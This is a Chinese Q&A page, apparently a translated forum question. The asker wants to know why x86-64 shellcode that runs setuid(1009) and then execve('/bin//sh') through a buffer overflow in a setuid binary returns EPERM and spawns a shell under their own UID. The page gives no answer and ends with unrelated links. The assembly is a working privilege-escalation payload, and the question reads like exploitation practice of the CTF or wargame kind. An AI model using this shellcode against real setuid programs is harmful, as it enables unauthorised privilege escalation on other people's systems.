无法在 execve 之前在 shellcode 中 setuid()

问题描述

我有以下 shellcode,我可以说服 setuid 二进制文件作为缓冲区溢出的结果来执行:

push 1009 ; #owner_userid
pop rdi
push 105
pop rax
syscall ; #sys_setuid(1009)

xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall ; #sys_execve('/bin//sh')

这成功地生成了一个 shell,但是当我在其中运行 whoami 时,我得到了自己的用户名,而不是二进制文件所有者的用户名(用户 ID #1009)。如何使用 setuid 二进制文件所有者的权限启动 /bin/sh

其他细节:

  • GDB 显示 sys_setuid(1009) 将 -1 EPERM 返回给 $rax
  • 在 shellcode 中运行 sys_getuid() 会返回我自己的 UID (#1000),就像 sys_geteuid
  • 运行 sys_setreuid(1009,1009) 也会将 -1 EPERM 返回给 $rax
  • file <binary> 输出 binary: setuid ELF 64-bit LSB executable,x86-64,version 1 (GNU/Linux),statically linked 所以二进制文件肯定设置了 setuid
  • la -la 给出:-rwsr-xr-x 1 target_user root 800118 Mar 1 13:40 binary
  • 从技术上讲,我将最终的 shellcode 限制为 34 个字节,但这与这里的一般问题没有直接关系。

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...